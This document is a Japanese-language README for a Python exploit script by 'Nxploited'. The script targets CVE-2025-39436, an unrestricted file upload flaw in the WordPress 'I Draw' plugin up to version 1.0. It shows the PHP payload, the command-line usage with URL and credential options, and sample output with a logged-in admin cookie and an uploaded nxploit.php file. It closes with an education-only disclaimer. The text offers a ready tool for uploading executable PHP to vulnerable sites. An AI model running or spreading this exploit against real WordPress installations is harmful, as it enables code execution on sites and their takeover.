nxploited/cve-2025-39436WordPress I Draw Plugin <= 1.0 は、任意のファイルアップロードに対して脆弱です。
危険なタイプのファイルの無制限アップロード の脆弱性が、「I Draw」WordPress プラグインに存在します。このエクスプロイトにより、攻撃者は悪意のあるファイルを無制限にアップロードできます。この問題は、I Draw バージョン 1.0 まで に影響します。
このエクスプロイトは、プラグインのファイルアップロード機能を利用して PHP ペイロードを実行します。以下は使用されるデフォルトのペイロードです。
php_code = "<?php echo 'Im Nxploited | Khaled Alenazi'; ?>"
usage: CVE-2025-39436.py [-h] -u URL -un USERNAME -p PASSWORD
options:
-h, --help Show this help message and exit
-u, --url URL Target website URL
-un, --username USERNAME
Username
-p, --password PASSWORD
[✅] Login successful.
[🍪] Cookies here:
wordpress_logged_in_4b00801d41db6e7d9e0ed0af2c824ea0=admin%7C1746301986%7CZvXtaLwW7AlgtJ9JxOH24nAo8G6WqoSQGYcz6xGSNe1%7C53cc2f686eb1e4265e17fcb0823d5e7349ffdc7b86ec8099453b5e80e7c2b51a
[✅] File uploaded successfully:
[🔗] http://target/wp-content/uploads/2025/4/19/nxploit.php
このスクリプトは教育目的のみで提供されています。作者は、このエクスプロイトによって引き起こされた誤用や損害について一切の責任を負いません。ご自身の責任で使用してください。
作者: Nxploited ( Khaled Alenazi )